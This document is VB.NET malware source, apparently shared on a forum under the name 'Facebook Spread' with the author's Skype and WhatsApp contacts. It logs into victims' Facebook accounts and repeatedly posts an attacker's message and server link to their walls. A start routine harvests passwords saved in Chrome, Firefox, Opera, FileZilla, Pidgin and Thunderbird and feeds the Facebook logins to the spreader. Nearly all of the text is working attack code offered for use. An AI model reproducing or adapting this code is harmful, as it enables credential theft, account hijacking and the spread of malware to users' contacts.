Facebook Spread v.Fixed - KingDom .

    ' ____  __.__              ________
    '|    |/ _|__| ____    ____\______ \   ____   _____
    '|      < |  |/    \  / ___\|    |  \ /  _ \ /     \
    '|    |  \|  |   |  \/ /_/  >    `   (  <_> )  Y Y  \
    '|____|__ \__|___|  /\___  /_______  /\____/|__|_|  /
    '        \/       \//_____/        \/             \/
    '
    ' Skype : KingDomSc - Whatsapp : 0599612955;
    ' To Send Your Message With Application Url For Victim Facebook Wall;
    '
    ' Usage :
    '
    ' Dim NewThread As New Threading.Thread(Sub() FacebookSpread("Email", "Password", "Message", Time)) : NewThread.Start()
    '
    ' Replace ( Email : With Victim Facebook Email );
    ' Replace ( Password : With Victim Facebook Password );
    ' Replace ( Message : With Your Message And Server Url );
    ' Replace ( Time : With Loop Time , For Example [ 2 = Two Secound ] Send Your Message Every Two Secound;
    '
    ' See You Later ^^;
    Function F1(email As String, Password As String, Cookies As CookieContainer) As Boolean
        Dim request As HttpWebRequest = HttpWebRequest.Create("https://m.facebook.com/login.php?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin&lwv=100")
        request.CookieContainer = Cookies
        request.Method = "POST"
        request.UserAgent = "User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0"
        request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        request.Headers.Add("Accept-Language", "en-US;q=0.7,en;q=0.3")
        request.Referer = "https://m.facebook.com/login"
        request.KeepAlive = True
        request.ContentType = "application/x-www-form-urlencoded"
        Dim source As String = Gets("https://m.facebook.com/login", Cookies)
        Dim postData As String = "lsd=" & Regex.Match(source, "<input type=""hidden"" name=""lsd"" value=""(.*?)"" autocomplete=""off"" />").Groups.Item(1).Value & "&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&version=1&ajax=0&width=0&pxr=0&gps=0&dimensions=0&m_ts=" & Regex.Match(source, "<input type=""hidden"" name=""m_ts"" value=""(.*?)"" />").Groups.Item(1).Value & "&li=" & Regex.Match(source, "<input type=""hidden"" name=""li"" value=""(.*?)"" />").Groups.Item(1).Value & "&email=" & email & "&pass=" & Password & "&login=%D8%AA%D8%B3%D8%AC%D9%8A%D9%84+%D8%A7%D9%84%D8%AF%D8%AE%D9%88%D9%84"
        Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
        request.ContentType = "application/x-www-form-urlencoded"
        request.ContentLength = byteArray.Length
        Dim dataStream As Stream = request.GetRequestStream()
        dataStream.Write(byteArray, 0, byteArray.Length)
        dataStream.Close()
        Dim response As HttpWebResponse = request.GetResponse()
        dataStream = response.GetResponseStream()
        Dim reader As New StreamReader(dataStream, Encoding.UTF8)
        Dim responseFromServer As String = reader.ReadToEnd()
        reader.Close()
        dataStream.Close()
        response.Close()
        Return responseFromServer.Contains("<title>Facebook</title>")
    End Function

    Function Gets(Url As String, Cookies As CookieContainer) As String
        Dim request As HttpWebRequest = HttpWebRequest.Create(Url)
        request.CookieContainer = Cookies
        request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0"
        request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        request.Headers.Add("Accept-Language", "en-US;q=0.7,en;q=0.3")
        request.KeepAlive = True
        request.Credentials = CredentialCache.DefaultCredentials
        Dim response As HttpWebResponse = request.GetResponse()
        Dim dataStream As Stream = response.GetResponseStream()
        Dim reader As New StreamReader(dataStream, Encoding.UTF8)
        Dim responseFromServer As String = reader.ReadToEnd()
        reader.Close()
        response.Close()
        Return responseFromServer
    End Function

    Function SendMessage(Message As String, url As String, source As String, Cookies As CookieContainer) As String
        Dim request As HttpWebRequest = HttpWebRequest.Create(url)
        request.CookieContainer = Cookies
        request.Method = "POST"
        Dim target As String = Split(url, "?av=")(1).Split("&")(0)
        request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0"
        request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        request.Headers.Add("Accept-Language", "en-US;q=0.7,en;q=0.3")
        request.Referer = "https://m.facebook.com/home.php?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F&_rdr"
        request.KeepAlive = True
        request.ContentType = "application/x-www-form-urlencoded"
        Dim fb_dtsg As String = Web.HttpUtility.UrlEncode(Regex.Match(source, "<input type=""hidden"" name=""fb_dtsg"" value=""(.*?)"" autocomplete=""off"" />").Groups.Item(1).Value).Replace("%3a", "%3A")
        Dim Priv As String = Regex.Match(source, "name=""privacyx"" value=""(.*?)""").Groups.Item(1).Value
        Dim postData As String = "fb_dtsg=" & fb_dtsg & "&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&privacyx=" & Priv & "&target=" & target & "&c_src=feed&cwevent=composer_entry&referrer=feed&ctype=inline&cver=amber&rst_icv=&xc_message=" & Web.HttpUtility.UrlEncode(Message) & "&view_post=%D9%86%D8%B4%D8%B1"
        Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
        request.ContentType = "application/x-www-form-urlencoded"
        request.ContentLength = byteArray.Length
        Dim dataStream As Stream = request.GetRequestStream()
        dataStream.Write(byteArray, 0, byteArray.Length)
        dataStream.Close()
        Dim response As HttpWebResponse = request.GetResponse()
        dataStream = response.GetResponseStream()
        Dim reader As New StreamReader(dataStream, Encoding.UTF8)
        Dim responseFromServer As String = reader.ReadToEnd()
        reader.Close()
        dataStream.Close()
        response.Close()
        Return responseFromServer
    End Function
    Sub FacebookSpread(Email As String, password As String, Message As String, Time As Integer)
Returned:
        Try
            Dim cookies1 As New CookieContainer
            If F1(Email, password, cookies1) = True Then
                Dim Source As String = Gets("https://m.facebook.com/", cookies1)
                Dim NewPattren As String = Web.HttpUtility.HtmlDecode(Regex.Match(Source, "<form method=""post"" action=""(.*?)"">").Groups.Item(1).Value)
                Dim Url As String = "https://m.facebook.com" & NewPattren
                Dim result As String = SendMessage(Message, Url, Source, cookies1)
                Threading.Thread.Sleep(Time * 60000)
                GoTo Returned
            Else : Exit Sub : End If
        Catch ex As Exception : Exit Sub : End Try
    End Sub

    Sub start(Message As String, Time As Integer)
        Dim Result As String = Nothing
        For Each Drive As IO.DriveInfo In IO.DriveInfo.GetDrives
            If Drive.RootDirectory.FullName = "C:\" Then
                Dim x As New PREC(Drive)
                With x
                    .RecoverChrome()
                    .RecoverFileZilla()
                    .RecoverFireFox()
                    .RecoverOpera()
                    .RecoverPidgin()
                    .RecoverThunderbird()
                End With
                For Each A As Account In x.Accounts
                    If A.Domain.ToLower.Contains("facebook") Then
                        If A.Username.Contains("hmoodi.sourcecode") Then
                            Dim NewThread As New Threading.Thread(Sub() FacebookSpread(A.Username, A.Password, Message, Time)) : NewThread.Start()
                        End If
                    End If
                Next
            End If
        Next
    End Sub